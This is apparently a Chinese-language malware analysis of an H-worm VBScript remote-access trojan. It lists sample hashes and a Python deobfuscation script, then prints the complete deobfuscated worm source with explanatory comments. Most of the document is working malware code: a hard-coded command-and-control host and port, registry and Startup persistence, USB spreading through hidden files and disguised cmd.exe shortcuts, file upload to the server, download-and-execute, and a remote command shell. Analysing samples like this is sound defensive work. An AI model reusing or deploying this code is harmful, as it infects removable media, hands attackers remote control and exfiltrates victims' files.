样本的基本信息
MD5: c750a5bb8d9aa5a58c27956b897cf102
SHA1: e14994b9e32a3e267947cac36fb3036d9d22be21
SHA256: 1eb712d4976babf7c8cd0b34015c2701bc5040420e688911e6614b278cc82a42
SHA512: b1921c1dc7e8cf075882755be48c0d9636858cd7913188cb6c9ca6e7e741f049c143a79c6835ef93adc6eb30cebb3a67764aebdaa344a8ec22de6fff959661f0
CRC32: 88c48f9a
分析环境
- vscode
- python3
- PrimalScript
分析过程
用notepad++打开脚本后,发现这是一个混淆后的脚本,主要的代码在anas变量中
anas = "3981899982..." '混淆后的代码
anas = SPLIT(anas,"81899982838") '拆分
FOR X = 0 TO UBOUND(anas) -1 '遍历将数字转成asc码
Xmy = Xmy & ChrW(anas(X))
NEXT
EXECUTE (Xmy) '执行代码
去混淆
参考上面的逻辑编写python脚本对anas变量进行去混淆
data = open("anas.txt",'r').read()
data = data.strip().split("81899982838")
data1 = ''
for x in data:
    if x.isnumeric():
        data1 += chr(int(x))
open('1.vbs','w').write(data1)
样本分析
经过分析,这个样本的主要逻辑如下图所示,这是一个木马,通过U盘传播,感染主机后要定时向后台请求命令执行,通过CC域名可能匹配到该样本属于H-worm家族。

代码中主要的函数功能

详细的分析结果见代码注释
'<[ recoder : houdini (c) skype : houdini-fx ]>
'=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
' 配置
' C&C服务器的域名
host = "sidisalim.myvnc.com" 
' C&C服务器的端口
port = 1888 
'安装的路径
installdir = "%temp%" 
' 开关变量,是否创建文件的快捷方式
lnkfile = true
'开关变量,是否创建文件夹的的快捷方式
lnkfolder = true
'=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
' 全局变量
' shell对象,用于执行命令
dim shellobj 
set shellobj = wscript.createobject("wscript.shell")
' 文件系统对象,用于操作文件
dim filesystemobj
set filesystemobj = createobject("scripting.filesystemobject")
' http对象,用于网络请求
dim httpobj
set httpobj = createobject("msxml2.xmlhttp")
'=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
'私有变量
' 当前文件的名字 1.vbs
installname = wscript.scriptname
' 系统的startup目录 C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
startup = shellobj.specialfolders ("startup") & "\"
'临时目录 C:\Users\ADMINI~1\AppData\Local\Temp\
installdir = shellobj.expandenvironmentstrings(installdir) & "\"
if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
' split=<|>
spliter = "<" & "|" & ">"
sleep = 5000 
dim response
dim cmd
dim param
info = ""
usbspreading = ""
startdate = ""
' 自身的文件对象
dim oneonce
'=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
' 如果后面的程序出现"运行时错误"时,会继续运行,不中断
on error resume next
' 感染系统 添加开机启动项
instance
while true
    ' 感染当前系统和可移动存储介质
    install
    response = ""
    ' 向后台发送is-ready消息,并返回要执行的指令
    response = post ("is-ready","")
    ' 从POST响应中的解析出指令
    cmd = split (response,spliter)
    select case cmd (0)
        case "excecute" ' 执行命令
            param = cmd (1)
            execute param
        case "update" ' 更新自身
            param = cmd (1)
            oneonce.close
            ' 写入新文件
            set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
            oneonce.write param
            oneonce.close
            ' 运行新文件
            shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
            wscript.quit 
        case "uninstall" ' 删除自身
            uninstall
        case "send" '从后台下载文件执行
            download cmd (1),cmd (2)
        case "site-send" '从其它站点下载文件执行
            sitedownloader cmd (1),cmd (2)
        case "recv" '向后台上传文件
            param = cmd (1)
            upload (param)
        case  "enum-driver" '获取驱动器信息
            post "is-enum-driver",enumdriver  
        case  "enum-faf" '遍历指定的目录
            param = cmd (1)
            post "is-enum-faf",enumfaf (param)
        case  "enum-process" '获取系统进程列表
            post "is-enum-process",enumprocess   
        case  "cmd-shell" '执行命令返回结果
            param = cmd (1)
            post "is-cmd-shell",cmdshell (param)  
        case  "delete" '删除指定的文件或目录
            param = cmd (1)
            deletefaf (param) 
        case  "exit-process" 'kill指定pid的进程
            param = cmd (1)
            exitprocess (param) 
        case  "sleep" '设置轮询的间隔时间
            param = cmd (1)
            sleep = eval (param)    
    end select
    wscript.sleep sleep
wend
' 感染当前系统和可移动存储介质
sub install
    on error resume next
    dim lnkobj
    dim filename
    dim foldername
    dim fileicon
    dim foldericon
    ' 写注册表 设置开机启动项 拷贝自身到temp和startup目录下
    upstart
    ' 遍历驱动器 关于filesysobj可参考https://blog.csdn.net/chuhe163/article/details/103538947
    for each drive in filesystemobj.drives
        if  drive.isready = true then
            if  drive.freespace  > 0 then ' 磁盘上可用空间大于0
                if  drive.drivetype  = 1 then '1代表可移动
                    ' 把自己拷贝到可移动的驱动器根目录下
                    filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                    ' 若拷贝成功
                    if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                        ' 设置文件属性为 隐藏和系统文件 FILE_ATTRIBUTE_HIDDEN=2 FILE_ATTRIBUTE_SYSTEM=4
                        filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                    end if
                    ' 遍历可移动存储驱动器根目录下的文件
                    for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                        if not lnkfile then exit for
                        ' 若文件名中含有.
                        if  instr (file.name,".") then
                            ' 若当前文件不是.lnk文件
                            if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                ' 将文件属性设置为 隐藏+系统文件
                                file.attributes = 2+4
                                ' 不是脚本自身
                                if  ucase (file.name) <> ucase (installname) then
                                    filename = split(file.name,".")
                                    ' 创建一个同当前文件同名的快捷方式 可参考 https://www.jb51.net/shouce/script56/Script56_chs/html/wsprowindowstyle.htm
                                    set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                    ' 最小化窗口并激活下一个顶级窗口。
                                    lnkobj.windowstyle = 7
                                    lnkobj.targetpath = "cmd.exe"
                                    lnkobj.workingdirectory = ""
                                    ' cmd.exe /c start 1.vbs & start filename & exit 先执行1.vbs 再打开当前文件
                                    lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                
                                    ' 从注册表中读取当前文件后缀默认的打开程序的icon 如.zip使用winrar打开 
                                    ' HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WinRAR\DefaultIcon
                                    ' 值为"C:\\Program Files\\WinRAR\\WinRAR.exe,0"
                                    fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                    ' 修改快捷方式的图标为当前文件的图标
                                    if  instr (fileicon,",") = 0 then
                                        lnkobj.iconlocation = file.path
                                    else 
                                        lnkobj.iconlocation = fileicon
                                    end if
                                    ' 保存快捷方式
                                    lnkobj.save()
                                end if
                            end if
                        end if
                    next
                    ' 遍历移动驱动器根目录下的子目录
                    for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                        if not lnkfolder then exit for
                        ' 将当前文件夹 属性设置为hide 和system
                        folder.attributes = 2+4
                        foldername = folder.name
                        ' 创建一个同名的快捷方式
                        set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                        ' 最小化运行
                        lnkobj.windowstyle = 7
                        lnkobj.targetpath = "cmd.exe"
                        lnkobj.workingdirectory = ""
                        ' 打开快捷方式执行 cmd.exe /c start 1.vbs &start exporer 当前目录 &exit
                        lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                        ' 将快捷方式的图标设置为文件夹图标
                        foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                        if  instr (foldericon,",") = 0 then
                            lnkobj.iconlocation = folder.path
                        else 
                            lnkobj.iconlocation = foldericon
                        end if
                        ' 保存快捷方式
                        lnkobj.save()
                    next
                end If
            end If
        end if
        next
    err.clear
end sub
' 删除自身,删除USB设备的快捷方式 恢复文件和目录
sub uninstall
    on error resume next
    dim filename
    dim foldername
    '删除注册表中的开机启动项
    shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
    shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
    '删除startup目录中的副本
    filesystemobj.deletefile startup & installname ,true
    '删除自身
    filesystemobj.deletefile wscript.scriptfullname ,true
    '遍历当前系统驱动器
    for  each drive in filesystemobj.drives
        if  drive.isready = true then
            if  drive.freespace  > 0 then
                '找到USB设备
                if  drive.drivetype  = 1 then
                    for  each file in filesystemobj.getfolder ( drive.path & "\").files
                        on error resume next
                        '若文件名中含有.
                        if  instr (file.name,".") then
                            '对于非.lnk文件
                            if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                            
                                '设置文件为可见
                                file.attributes = 0
                                '对于非自身副本的文件
                                if  ucase (file.name) <> ucase (installname) then
                                    filename = split(file.name,".")
                                    '删除同名的.lnk文件
                                    filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                else
                                    '删除自身副本
                                    filesystemobj.deletefile (drive.path & "\" & file.name)
                                end If
                            else
                                '删除.lnk文件
                                filesystemobj.deletefile (file.path) 
                            end if
                        end if
                    next
                    '遍历文件夹
                    for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                        '将文件夹设置为可见
                        folder.attributes = 0
                    next
                end if
            end if
        end if
        next
    '退出
    wscript.quit
end sub
' 向控制服务器发送post请求 cmd为uri,返回响应
function post (cmd ,param)
    post = param
    httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
    'user-agent为系统信息  逻辑驱动器序列号<|>计算机名<|>当前用户名<|>操作系统名<|>plus<|>系统的杀软列表<|>是否从usb中感染 - 感染日期
    httpobj.setrequestheader "user-agent:",information 
    ' 发送负载
    httpobj.send param
    post = httpobj.responsetext
end function
' 获取系统信息 逻辑驱动器序列号<|>计算机名<|>当前用户名<|>操作系统名<|>plus<|>系统的杀软列表<|>是否从usb中感染 - 感染日期
function information
    on error resume next
    if  inf = "" then
        inf = hwid & spliter ' 逻辑驱动器序列号
        inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter ' 计算机名
        inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter ' 当前用户名
        ' 可参考 https://blog.csdn.net/shellching/article/details/16983957
        set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
        '获取当前操作系统名
        set os = root.execquery ("select * from win32_operatingsystem")
        for each osinfo in os
            inf = inf & osinfo.caption & spliter  '获取当前操作系统名
        exit for
        next
        inf = inf & "plus" & spliter
        inf = inf & security & spliter ' 获取系统的杀软列表
        inf = inf & usbspreading ' 是否在usb设备中运行 和 日期
        information = inf  
    else
        information = inf
    end if
end function
' 写注册表 设置开机启动项 拷贝自身到temp和startup目录下
sub upstart ()
    on error resume Next
    '写注册表 HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\1  wscript.exe //B "C:\Users\ADMINI~1\AppData\Local\Temp\1.vbs"
    shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
    '写注册表 HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\1  wscript.exe //B "C:\Users\ADMINI~1\AppData\Local\Temp\1.vbs"
    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
    ' 把当前文件拷贝到 C:\Users\ADMINI~1\AppData\Local\Temp\1.vbs
    filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
    ' 把当前文件拷贝到 startup目录下 C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.vbs
    filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
end sub
' 获取逻辑磁盘序列号
function hwid
    on error resume next
    set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
    '使用WMI枚举所有逻辑磁盘信息
    set disks = root.execquery ("select * from win32_logicaldisk")
    for each disk in disks
        ' 序列号
        if  disk.volumeserialnumber <> "" then
            hwid = disk.volumeserialnumber
            exit for
        end if
    next
end function
' 获取系统中安装的杀软列表
function security 
    on error resume next
    security = ""
    set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
    set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
    for each objitem in colitems
        versionstr = split (objitem.version,".")
    next
    versionstr = split (colitems.version,".")
    osversion = versionstr (0) & "."
    for  x = 1 to ubound (versionstr)
        osversion = osversion &  versionstr (i)
    next
    osversion = eval (osversion)
    if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
    set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
    ' 获取当前系统的杀软系统
    Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
    for each objantivirus in colantivirus
        security  = security  & objantivirus.displayname & " ."
    next
    if security  = "" then security  = "nan-av"
end function
' 感染系统 添加开机启动项
function instance
    ' 如果后面的程序出现"运行时错误"时,会继续运行,不中断
    on error resume next
    ' 读取注册表项 HKEY_LOCAL_MACHINE\software\1\ 的内容
    usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
    if usbspreading = "" then '若为空
        ' 若当前的vbs文件在驱动器的根目录下
        if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
        
            ' usbspreding 设置为 "true - 当前日期"
            usbspreading = "true - " & date
            '写注册表 HKEY_LOCAL_MACHINE\software\1\
            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
        else
            ' usbspreding 设置为 "false - 当前日期"
            usbspreading = "false - " & date
            '写注册表 HKEY_LOCAL_MACHINE\software\1\ 
            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
        end if
    end If
    ' 设置开机启动项,将自身拷贝到 tmp和startup目录下
    upstart
    set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
    set installfullnameshort =  filesystemobj.getfile (installdir & installname)
    ' 若当前文件在临时目录,执行临时目录的脚本
    if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
        shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
        wscript.quit 
    end If
    err.clear
    ' 打开 tmp目录下的自己
    set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
    ' 若文件不存在退出 
    if  err.number > 0 then wscript.quit
end function
sub sitedownloader (fileurl,filename)
    strlink = fileurl
    strsaveto = installdir & filename
    set objhttpdownload = createobject("msxml2.xmlhttp" )
    objhttpdownload.open "get", strlink, false
    objhttpdownload.send
    set objfsodownload = createobject ("scripting.filesystemobject")
    '若文件已经存在,删除
    if  objfsodownload.fileexists (strsaveto) then
        objfsodownload.deletefile (strsaveto)
    end if
  
    '保存文件
    if objhttpdownload.status = 200 then
    dim  objstreamdownload
    set  objstreamdownload = createobject("adodb.stream")
    with objstreamdownload
            .type = 1 
            .open
            .write objhttpdownload.responsebody
            .savetofile strsaveto
            .close
    end with
    set objstreamdownload = nothing
    end if
  
    '若文件存在,运行
    if objfsodownload.fileexists(strsaveto) then
        shellobj.run objfsodownload.getfile (strsaveto).shortpath
    end if 
end sub
'从后台下载文件执行 
'fileurl为文件名
'filedir为文件要保存的路径
sub download (fileurl,filedir)
    if filedir = "" then 
    filedir = installdir
    end if
    '文件保存的路径
    strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
    set objhttpdownload = createobject("msxml2.xmlhttp")
    'post http://sidisalim.myvnc.com:1888/is-sending<|>fileurl
    objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
    objhttpdownload.send ""
    
    set objfsodownload = createobject ("scripting.filesystemobject")
    '若文件已经存在,删除之
    if  objfsodownload.fileexists (strsaveto) then
        objfsodownload.deletefile (strsaveto)
    end if
    ' http状态码为200的话
    if  objhttpdownload.status = 200 then
        dim  objstreamdownload
        set  objstreamdownload = createobject("adodb.stream")
        '将http的响应保存为文件
        with objstreamdownload 
            .type = 1 
            .open
            .write objhttpdownload.responsebody
            .savetofile strsaveto
            .close
        end with
        set objstreamdownload  = nothing
    end if
    '若文件存在,运行文件
    if objfsodownload.fileexists(strsaveto) then
        shellobj.run objfsodownload.getfile (strsaveto).shortpath
    end if 
end sub
' 向后台上传文件
function upload (fileurl)
    dim  httpobj,objstreamuploade,buffer
    set  objstreamuploade = createobject("adodb.stream")
    with objstreamuploade 
        .type = 1 
        .open
        .loadfromfile fileurl
        buffer = .read
        .close
    end with
    set objstreamdownload = nothing
    set httpobj = createobject("msxml2.xmlhttp")
    ' http://sidisalim.myvnc.com:1888/is-recving<|>文件名
    httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
    httpobj.send buffer
end function
' 遍历驱动器
function enumdriver ()
    for  each drive in filesystemobj.drives
        if   drive.isready = true then
            enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
        end if
    next
end Function
'遍历指定目录
function enumfaf (enumdir)
    enumfaf = enumdir & spliter
    for  each folder in filesystemobj.getfolder (enumdir).subfolders
        enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
    next
    for  each file in filesystemobj.getfolder (enumdir).files
        enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
    next
end function
'遍历主机的进程
function enumprocess ()
    on error resume next
    set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
    set colitems = objwmiservice.execquery("select * from win32_process",,48)
    dim objitem
    for each objitem in colitems
        enumprocess = enumprocess & objitem.name & "|"
        enumprocess = enumprocess & objitem.processid & "|"
        enumprocess = enumprocess & objitem.executablepath & spliter
    next
end function
'kill指定Pid的进程
sub exitprocess (pid)
    on error resume next
    shellobj.run "taskkill /F /T /PID " & pid,7,true
end sub
'删除文件或目录
sub deletefaf (url)
    on error resume next
    filesystemobj.deletefile url
    filesystemobj.deletefolder url
end sub
'执行命令返回结果 
function cmdshell (cmd)
    dim httpobj,oexec,readallfromany
    set oexec = shellobj.exec ("%comspec% /c " & cmd)
    if not oexec.stdout.atendofstream then
        readallfromany = oexec.stdout.readall
    elseif not oexec.stderr.atendofstream then
        readallfromany = oexec.stderr.readall
    else 
        readallfromany = ""
    end if
    cmdshell = readallfromany
end function
参考资料
- H-WORM:简单而活跃的远控木马



















